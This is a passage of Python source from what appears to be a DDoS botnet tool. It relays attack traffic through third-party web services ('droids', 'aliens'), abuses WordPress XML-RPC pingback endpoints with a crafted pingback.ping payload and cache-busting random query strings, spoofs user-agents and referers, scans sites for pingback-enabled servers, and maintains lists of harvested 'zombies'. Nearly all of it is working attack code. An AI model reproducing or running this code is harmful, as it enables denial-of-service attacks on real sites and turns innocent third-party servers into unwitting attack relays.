  3336. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  3337. except Exception:
  3338. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  3339. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3340. if not self.options.disablepurge:
  3341. self.discard_aliens.append(alien)
  3342. self.num_discard_aliens = self.num_discard_aliens + 1
  3343. else:
  3344. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  3345. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3346. if not self.options.disablepurge:
  3347. self.discard_aliens.append(alien)
  3348. self.num_discard_aliens = self.num_discard_aliens + 1
  3349. if self.options.verbose:
  3350. if name_alien:
  3351. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  3352. else:
  3353. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  3354. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  3355. self.extra_zombies_lock = False # [ARMY] have finished
  3356. def extract_aliens(self):
  3357. # extract aliens from file
  3358. options = self.options
  3359. try:
  3360. f = open(self.aliens_file)
  3361. aliens = f.readlines()
  3362. aliens = [ alien.replace('\n','') for alien in aliens ]
  3363. f.close()
  3364. if not aliens:
  3365. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3366. self.options.disablealiens = True
  3367. return
  3368. else:
  3369. return aliens
  3370. except:
  3371. if os.path.exists(self.aliens_file) == True:
  3372. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3373. return #sys.exit(2)
  3374. else:
  3375. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3376. return #sys.exit(2)
  3377. def discarding_droids(self, droid, droids):
  3378. if droid in self.discard_droids:
  3379. droids.remove(droid)
  3380. if self.options.verbose:
  3381. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  3382. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3383. return droids
  3384. def send_droids(self, droids):
  3385. # extract external web abuse services urls (GET) and perform requests against target
  3386. time.sleep(3) # aiming (multi-threading flow time compensation)
  3387. if not self.options.disablepurge:
  3388. if not droids: # return when not any working
  3389. self.options.disabledroids = True
  3390. return
  3391. target = self.options.target
  3392. try:
  3393. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  3394. except:
  3395. target = urllib.parse.unquote(target)
  3396. if target.startswith('http://'): # remove http
  3397. target = target.replace('http://', '')
  3398. if target.startswith('https://'):
  3399. target = target.replace('https://', '') # remove https
  3400. options = self.options
  3401. shuffle(droids) # shuffle droids
  3402. if not self.options.disablepurge:
  3403. for droid in droids:
  3404. if not droid.startswith('http'): # discarded inmediately
  3405. self.discard_droids.append(droid)
  3406. self.num_discard_droids = self.num_discard_droids + 1
  3407. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  3408. if not self.options.disablepurge:
  3409. if not droids: # return when not any working
  3410. self.options.disabledroids = True
  3411. return
  3412. shuffle(droids) # shuffle droids order, each discarding check :-)
  3413. for droid in droids:
  3414. name_droid = None
  3415. if "$TARGET" in droid: # replace droid/parameter for target
  3416. url = droid.replace("$TARGET", target)
  3417. t = urlparse(url)
  3418. name_droid = t.netloc
  3419. if name_droid == "":
  3420. name_droid = droid
  3421. print("[Info] [Droids] Attacking from: " + name_droid)
  3422. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3423. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  3424. try:
  3425. if options.proxy: # set proxy
  3426. self.proxy_transport(options.proxy)
  3427. if self.options.timeout: # set timeout
  3428. try:
  3429. droid_timeout = int(self.options.timeout)
  3430. except:
  3431. droid_timeout = 5
  3432. else:
  3433. droid_timeout = 5
  3434. if droid_timeout < 1:
  3435. droid_timeout = 5
  3436. req = urllib.request.Request(url, None, headers)
  3437. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  3438. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  3439. except Exception:
  3440. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  3441. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3442. if not self.options.disablepurge:
  3443. self.discard_droids.append(droid)
  3444. self.num_discard_droids = self.num_discard_droids + 1
  3445. else:
  3446. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  3447. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3448. if not self.options.disablepurge:
  3449. self.discard_droids.append(droid)
  3450. self.num_discard_droids = self.num_discard_droids + 1
  3451. if self.options.verbose:
  3452. if name_droid:
  3453. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  3454. else:
  3455. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  3456. if self.options.disablerpcs and self.options.disableucavs:
  3457. self.extra_zombies_lock = False # [ARMY] have finished
  3458. def extract_droids(self):
  3459. # extract droids from file
  3460. options = self.options
  3461. try:
  3462. f = open(self.droids_file)
  3463. droids = f.readlines()
  3464. droids = [ droid.replace('\n','') for droid in droids ]
  3465. f.close()
  3466. if not droids:
  3467. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3468. self.options.disabledroids = True
  3469. return
  3470. else:
  3471. return droids
  3472. except:
  3473. if os.path.exists(self.droids_file) == True:
  3474. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3475. return #sys.exit(2)
  3476. else:
  3477. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3478. return #sys.exit(2)
  3479. def discarding_rpcs(self, rpc, rpcs):
  3480. if rpc in self.discard_rpcs:
  3481. rpcs.remove(rpc)
  3482. if self.options.verbose:
  3483. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  3484. return rpcs
  3485. def send_rpcs(self, rpcs):
  3486. # extract vulnerable XML-RPC pingback services and perform requests against target
  3487. time.sleep(4) # aiming (multi-threading flow time compensation)
  3488. if not self.options.disablepurge:
  3489. if not rpcs: # return when not any working
  3490. self.options.disablerpcs = True
  3491. return
  3492. target = self.options.target
  3493. options = self.options
  3494. def random_key(length):
  3495. key = ''
  3496. for i in range(length):
  3497. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  3498. return key
  3499. shuffle(rpcs) # shuffle rpcs
  3500. if not self.options.disablepurge:
  3501. for rpc in rpcs:
  3502. if not rpc.startswith('http'): # discarded inmediately
  3503. if not self.options.disablepurge:
  3504. self.discard_rpcs.append(rpc)
  3505. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3506. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3507. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  3508. if not self.options.disablepurge:
  3509. if not rpcs: # return when not any working
  3510. self.options.disablerpcs = True
  3511. return
  3512. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  3513. for rpc in rpcs:
  3514. t = urlparse(rpc)
  3515. name_rpc = t.netloc
  3516. if name_rpc == "":
  3517. name_rpc = rpc
  3518. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  3519. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3520. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3521. key = random_key(8) # generate random value page to bypass cache
  3522. rpc_page = "?" + str(key)
  3523. key = random_key(6) # re-generate random value id to bypass cache
  3524. rpc_id = "=" + str(key)
  3525. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  3526. if "/xmlrpc.php" in rpc:
  3527. rpc_place = rpc.replace("xmlrpc.php", "")
  3528. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  3529. try:
  3530. if options.proxy: # set proxy
  3531. self.proxy_transport(options.proxy)
  3532. if self.options.timeout: # set timeout
  3533. try:
  3534. rpc_timeout = int(self.options.timeout)
  3535. except:
  3536. rpc_timeout = 5
  3537. else:
  3538. rpc_timeout = 5
  3539. if rpc_timeout < 1:
  3540. rpc_timeout = 5
  3541. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  3542. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  3543. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  3544. if self.options.verbose:
  3545. print("[Info] [X-RPCs] Reply:", target_reply)
  3546. except:
  3547. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  3548. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3549. if not self.options.disablepurge:
  3550. self.discard_rpcs.append(rpc)
  3551. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3552. else:
  3553. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  3554. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3555. if not self.options.disablepurge:
  3556. self.discard_rpcs.append(rpc)
  3557. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3558. if self.options.verbose:
  3559. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  3560. if self.options.disableucavs:
  3561. self.extra_zombies_lock = False # [ARMY] have finished
  3562. def extract_rpcs(self):
  3563. # extract rpcs from file
  3564. options = self.options
  3565. try:
  3566. f = open(self.rpcs_file)
  3567. rpcs = f.readlines()
  3568. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  3569. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  3570. f.close()
  3571. if not rpcs:
  3572. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3573. self.options.disablerpcs = True
  3574. return
  3575. else:
  3576. return rpcs
  3577. except:
  3578. if os.path.exists(self.rpcs_file) == True:
  3579. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3580. return
  3581. else:
  3582. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  3583. return
  3584. def extract_ntps(self):
  3585. # extract ntps from file
  3586. options = self.options
  3587. try:
  3588. f = open(self.ntps_file)
  3589. ntps = f.readlines()
  3590. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  3591. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  3592. f.close()
  3593. if not ntps:
  3594. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3595. return
  3596. else:
  3597. return ntps
  3598. except:
  3599. if os.path.exists(self.ntps_file) == True:
  3600. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3601. return
  3602. else:
  3603. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntps.txt' [Discarding!]")
  3604. return
  3605. def extract_dnss(self):
  3606. # extract dnss from file
  3607. options = self.options
  3608. try:
  3609. f = open(self.dnss_file)
  3610. dnss = f.readlines()
  3611. dnss = [ dns.replace('\r','') for dns in dnss ]
  3612. dnss = [ dns.replace('\n','') for dns in dnss ]
  3613. f.close()
  3614. if not dnss:
  3615. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3616. return
  3617. else:
  3618. return dnss
  3619. except:
  3620. if os.path.exists(self.dnss_file) == True:
  3621. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3622. return
  3623. else:
  3624. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dnss.txt' [Discarding!]")
  3625. return
  3626. def extract_zombies(self):
  3627. options = self.options
  3628. if self.options.test:
  3629. try:
  3630. f = open(options.test)
  3631. zombies = f.readlines()
  3632. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3633. f.close()
  3634. if not zombies:
  3635. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3636. return
  3637. else:
  3638. return zombies
  3639. except:
  3640. if os.path.exists(options.test) == True:
  3641. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3642. return #sys.exit(2)
  3643. else:
  3644. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3645. return #sys.exit(2)
  3646. else:
  3647. try:
  3648. f = open(self.zombies_file)
  3649. zombies = f.readlines()
  3650. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3651. f.close()
  3652. if not zombies:
  3653. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3654. return
  3655. else:
  3656. return zombies
  3657. except:
  3658. if os.path.exists(self.zombies_file) == True:
  3659. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3660. return #sys.exit(2)
  3661. else:
  3662. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3663. return #sys.exit(2)
  3664. def extract_target_list(self):
  3665. options = self.options
  3666. try:
  3667. f = open(options.target_list)
  3668. targets = f.readlines()
  3669. targets = [ target.replace('\n','') for target in targets ]
  3670. f.close()
  3671. if not targets:
  3672. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3673. return
  3674. else:
  3675. return targets
  3676. except:
  3677. if os.path.exists(options.target_list) == True:
  3678. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3679. return #sys.exit(2)
  3680. else:
  3681. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3682. return #sys.exit(2)
  3683. def update_zombies(self, zombies_ready):
  3684. # update zombies on file
  3685. options = self.options
  3686. if options.attackme:
  3687. f = open(self.zombies_file, "w") # re-write list
  3688. for zombie in self.doll.real_zombies: # add only alien verified zombies
  3689. for x in zombie:
  3690. f.write(str(x) + os.linesep)
  3691. f.close()
  3692. if options.test or options.testall:
  3693. if not options.test:
  3694. options.test = self.zombies_file
  3695. f = open(options.test, "w") # re-write list only with zombies ready
  3696. for zombie in zombies_ready:
  3697. f.write(zombie + os.linesep)
  3698. f.close()
  3699. if options.search or options.dorks or options.autosearch or options.download or options.download_github: # append only new zombies to list (dorking supported)
  3700. f = open(self.zombies_file)
  3701. zombies_on_file = f.read().splitlines()
  3702. with open(self.zombies_file, "a") as zombie_list:
  3703. for zombie in zombies_ready:
  3704. if zombie not in zombies_on_file: # parse possible repetitions
  3705. zombie_list.write(zombie + os.linesep)
  3706. if options.download or options.download_github:
  3707. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3708. else:
  3709. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  3710. f.close()
  3711. def update_aliens(self, aliens_ready):
  3712. # update aliens on file
  3713. options = self.options
  3714. if options.download or options.download_github: # append only new aliens to list
  3715. f = open(self.aliens_file)
  3716. aliens_on_file = f.read().splitlines()
  3717. with open(self.aliens_file, "a") as alien_list:
  3718. for alien in aliens_ready:
  3719. if alien not in aliens_on_file: # parse possible repetitions
  3720. alien_list.write(alien + os.linesep)
  3721. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3722. f.close()
  3723. def update_droids(self, droids_ready):
  3724. # update droids on file
  3725. options = self.options
  3726. if options.download or options.download_github: # append only new droids to list
  3727. f = open(self.droids_file)
  3728. droids_on_file = f.read().splitlines()
  3729. with open(self.droids_file, "a") as droid_list:
  3730. for droid in droids_ready:
  3731. if droid not in droids_on_file: # parse possible repetitions
  3732. droid_list.write(droid + os.linesep)
  3733. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3734. f.close()
  3735. def update_ucavs(self, ucavs_ready):
  3736. # update ucavs on file
  3737. options = self.options
  3738. if options.download or options.download_github: # append only new ucavs to list
  3739. f = open(self.ucavs_file)
  3740. ucavs_on_file = f.read().splitlines()
  3741. with open(self.ucavs_file, "a") as ucav_list:
  3742. for ucav in ucavs_ready:
  3743. if ucav not in ucavs_on_file: # parse possible repetitions
  3744. ucav_list.write(ucav + os.linesep)
  3745. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3746. f.close()
  3747. def update_rpcs(self, rpcs_ready):
  3748. # update rpcs on file
  3749. options = self.options
  3750. if options.testrpc or options.testall:
  3751. f = open(self.rpcs_file, "w") # re-write list
  3752. for rpc in rpcs_ready: # add only rpc verified zombies
  3753. f.write(rpc + os.linesep)
  3754. f.close()
  3755. if options.download or options.download_github: # append only new rpcs to list
  3756. f = open(self.rpcs_file)
  3757. rpcs_on_file = f.read().splitlines()
  3758. with open(self.rpcs_file, "a") as rpc_list:
  3759. for rpc in rpcs_ready:
  3760. if rpc not in rpcs_on_file: # parse possible repetitions
  3761. rpc_list.write(rpc + os.linesep)
  3762. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3763. f.close()
  3764. def update_dnss(self, dnss_ready):
  3765. # update dns on file
  3766. options = self.options
  3767. if options.download or options.download_github: # append only new dns to list
  3768. f = open(self.dnss_file)
  3769. dnss_on_file = f.read().splitlines()
  3770. with open(self.dnss_file, "a") as dns_list:
  3771. for dns in dnss_ready:
  3772. if dns not in dnss_on_file: # parse possible repetitions
  3773. dns_list.write(dns + os.linesep)
  3774. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3775. f.close()
  3776. def update_ntps(self, ntps_ready):
  3777. # update ntps on file
  3778. options = self.options
  3779. if options.download or options.download_github: # append only new ntps to list
  3780. f = open(self.ntps_file)
  3781. ntps_on_file = f.read().splitlines()
  3782. with open(self.ntps_file, "a") as ntp_list:
  3783. for ntp in ntps_ready:
  3784. if ntp not in ntps_on_file: # parse possible repetitions
  3785. ntp_list.write(ntp + os.linesep)
  3786. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3787. f.close()
  3788. def search_rpc(self, rpc_host):
  3789. options = self.options
  3790. rpc_vulnerable = False
  3791. rpc_pingback_url = False
  3792. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3793. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3794. try:
  3795. if self.options.testall: # testing_all
  3796. if options.proxy: # set proxy
  3797. self.proxy_transport(options.proxy)
  3798. req = urllib.request.Request(rpc_host, None, headers)
  3799. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3800. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3801. for link in rpc_links:
  3802. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3803. rpc_pingback_url = link[0]
  3804. rpc_vulnerable = True
  3805. break # found it!
  3806. else: # not any XML-RPC discovering methods are working
  3807. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3808. rpc_vulnerable = False
  3809. else:
  3810. if rpc_host.startswith("http://"):
  3811. rpc_host = rpc_host.replace("http://", "")
  3812. if rpc_host.startswith("https://"):
  3813. rpc_host = rpc_host.replace("https://", "")
  3814. rpc_host = urlparse(rpc_host)
  3815. rpc_path = rpc_host.path.replace("\r", "")
  3816. self.head = True # send HTTP HEAD request searching for: X-Pingback
  3817. reply = self.connect_zombie(rpc_path)
  3818. self.head = False
  3819. if "X-Pingback" in reply: # discovering pingback-enabled resources
  3820. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  3821. rpc_pingback_url = m.group(1) # extract rpc server url
  3822. rpc_vulnerable = True
  3823. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  3824. if options.proxy: # set proxy
  3825. self.proxy_transport(options.proxy)
  3826. req_rpc = urllib.request.Request(rpc_host, None, headers)
  3827. req_rpc.get_method = lambda : 'GET'
  3828. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  3829. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3830. for link in rpc_links:
  3831. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3832. rpc_pingback_url = link[0]
  3833. rpc_vulnerable = True
  3834. break # found it!
  3835. else: # not any XML-RPC discovering methods are working
  3836. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3837. rpc_vulnerable = False
  3838. except: # something wrong discovering XML-RPC Pingback
  3839. pass
  3840. return rpc_vulnerable, rpc_pingback_url
  3841. def testing_offline(self):
  3842. # check for zombies offline
  3843. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  3844. print('='*35)
  3845. zombies_online = 0
  3846. zombies_offline = 0
  3847. zombies = self.extract_zombies()
  3848. rpcs = self.extract_rpcs()
  3849. aliens = self.extract_aliens()
  3850. droids = self.extract_droids()
  3851. ucavs = self.extract_ucavs()
  3852. try:
  3853. botnet = zombies + rpcs + aliens + droids + ucavs
  3854. except:
  3855. return
  3856. discarded = [] # for discarded zombies
  3857. if not botnet:
  3858. return
  3859. self.head = True
  3860. for zombie in botnet:
  3861. zombie = str(zombie)
  3862. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  3863. zombie_type = 'Zombie'
  3864. elif zombie in rpcs:
  3865. zombie_type = 'XML-RPC'
  3866. elif zombie in aliens:
  3867. zombie_type = 'Alien'
  3868. elif zombie in droids:
  3869. zombie_type = 'Droid'
  3870. elif zombie in ucavs:
  3871. zombie_type = 'UCAV'
  3872. t = urlparse(zombie)
  3873. name_zombie = t.netloc
  3874. if name_zombie == "":
  3875. name_zombie = zombie
  3876. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  3877. sep = ';$POST;'
  3878. zombie = zombie.split(sep, 1)[0]
  3879. try:
  3880. reply = str(self.connect_zombie(zombie))
  3881. except:
  3882. reply = None
  3883. if reply:
  3884. if reply == "200" or reply == "301" or reply == "302":
  3885. status = "ONLINE! -> [OK!]"
  3886. else:
  3887. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  3888. zombies_online = zombies_online + 1
  3889. else:
  3890. status = "NOT Working!"
  3891. zombies_offline = zombies_offline + 1
  3892. print("\nName:", name_zombie)
  3893. print("Type: [", zombie_type, "]")
  3894. print("Vector:", zombie)
  3895. print("HTTP Code: [", reply, "]")
  3896. print("STATUS:", status)
  3897. print('-'*21)
  3898. if status == "NOT Working!": # add to discarded zombies
  3899. if zombie not in discarded:
  3900. discarded.append(zombie)
  3901. print("\n" + '='*52)
  3902. print("\n+ Total Botnet:", len(botnet))
  3903. print("\n" + '-'*25 + "\n")
  3904. print(" - ONLINE:", zombies_online)
  3905. print(" - OFFLINE:", zombies_offline, "\n")
  3906. print('='*52 + '\n')
  3907. self.head = False
  3908. if zombies_offline > 0:
  3909. if not self.options.forceyes:
  3910. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  3911. print('-'*25 + "\n")
  3912. else:
  3913. test_reply = "Y"
  3914. if test_reply == "n" or test_reply == "N":
  3915. print("[AI] "+self.exit_msg+"\n")
  3916. return
  3917. else:
  3918. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3919. print('='*52)
  3920. print("\n - DISCARDED:", disc_zombies)
  3921. new_botnet = int(len(botnet) - disc_zombies)
  3922. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  3923. print('='*52 + '\n')
  3924. else:
  3925. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  3926. def send_extra_zombies(self):
  3927. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  3928. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3929. if self.options.verbose:
  3930. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  3931. aliens = [self.extract_aliens()] # extract aliens from file to a list
  3932. for a in aliens:
  3933. if a is None:
  3934. self.options.disablealiens = True
  3935. self.total_aliens = 0 # not any alien invoked
  3936. else:
  3937. for s in a: # extract number of aliens
  3938. self.total_aliens = self.total_aliens + 1
  3939. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  3940. al.start()
  3941. else:
  3942. self.options.disablealiens = True
  3943. self.total_aliens = 0 # not any alien invoked
  3944. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3945. if self.options.verbose:
  3946. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  3947. droids = [self.extract_droids()] # extract droids from file to a list
  3948. for d in droids:
  3949. if d is None:
  3950. self.options.disabledroids = True
  3951. self.total_droids = 0 # not any droid invoked
  3952. else:
  3953. for s in d: # extract number of droids
  3954. self.total_droids = self.total_droids + 1
  3955. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  3956. dr.start()
  3957. else:
  3958. self.options.disabledroids = True
  3959. self.total_droids = 0 # not any droid invoked
  3960. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3961. if self.options.verbose:
  3962. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  3963. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  3964. for r in rpcs:
  3965. if r is None:
  3966. self.options.disablerpcs = True
  3967. self.total_rpcs = 0 # not any rpc invoked
  3968. else:
  3969. for s in r: # extract number of rpcs
  3970. self.total_rpcs = self.total_rpcs + 1
  3971. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  3972. rp.start()
  3973. else:
  3974. self.options.disablerpcs = True
  3975. self.total_rpcs = 0 # not any rpcs invoked
  3976. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  3977. if self.options.verbose:
  3978. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  3979. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  3980. for u in ucavs:
  3981. if u is None:
  3982. self.options.disableucavs = True
  3983. self.total_ucavs = 0 # not any ucav invoked
  3984. else:
  3985. for s in u: # extract number of ucavs
  3986. self.total_ucavs = self.total_ucavs + 1
  3987. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  3988. uc.start()
  3989. else:
  3990. self.options.disableucavs = True
  3991. self.total_ucavs = 0 # not any ucavs invoked
  3992. def abandoning_zombies(self):
  3993. if self.options.expire: # set timing for purge
  3994. try:
  3995. timing = int(self.options.expire)
  3996. except:
  3997. timing = self.expire_timing # default timing for purge
  3998. else:
  3999. timing = self.expire_timing # default timing for purge
  4000. if timing < 1:
  4001. timing = self.expire_timing # default timing for purge
  4002. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  4003. zombies_lock = 0
  4004. if self.options.verbose:
  4005. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  4006. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  4007. zombies_lock = zombies_lock + 1
  4008. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  4009. if self.options.verbose:
  4010. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  4011. break
  4012. else:
  4013. time.sleep(1)
  4014. def discard_zombies(self, discarded):
  4015. disc_zombies = 0
  4016. if self.options.testoffline:
  4017. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  4018. else:
  4019. zombies_list = [self.zombies_file]
  4020. if not self.options.disablealiens: # add aliens
  4021. zombies_list.append(self.aliens_file)
  4022. if not self.options.disabledroids: # add droids
  4023. zombies_list.append(self.droids_file)
  4024. if not self.options.disablerpcs: # add rpcs
  4025. zombies_list.append(self.rpcs_file)
  4026. if not self.options.disableucavs: # add ucavs
  4027. zombies_list.append(self.ucavs_file)
  4028. for l in zombies_list:
  4029. f = open(l, "r+")
  4030. d = f.readlines()
  4031. f.close()
  4032. f = open(l, "w")
  4033. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  4034. f.close()
  4035. return disc_zombies
  4036. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  4037. m = []
  4038. for zombie in d:
  4039. if zombie not in discarded == True:
  4040. m.append(zombie) # save it
  4041. else:
  4042. disc_zombies = disc_zombies + 1
  4043. if not m:
  4044. f.write("")
  4045. else:
  4046. for z in m:
  4047. f.write(z+os.linesep)
  4048. return disc_zombies
  4049. def parse_url_encoding(self, target):
  4050. t = urlparse(target)
  4051. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  4052. path = urllib.parse.quote(t.path.encode('utf-8'))
  4053. query = urllib.parse.quote(t.query.encode('utf-8'))
  4054. if query:
  4055. if path.endswith(""):
  4056. path.replace("", "/")
  4057. query = urllib.parse.quote(t.query.encode('utf-8'))
  4058. target = t.scheme+"://"+host + path + "?" + query
  4059. else:
  4060. target = t.scheme+"://"+host + path
  4061. return target
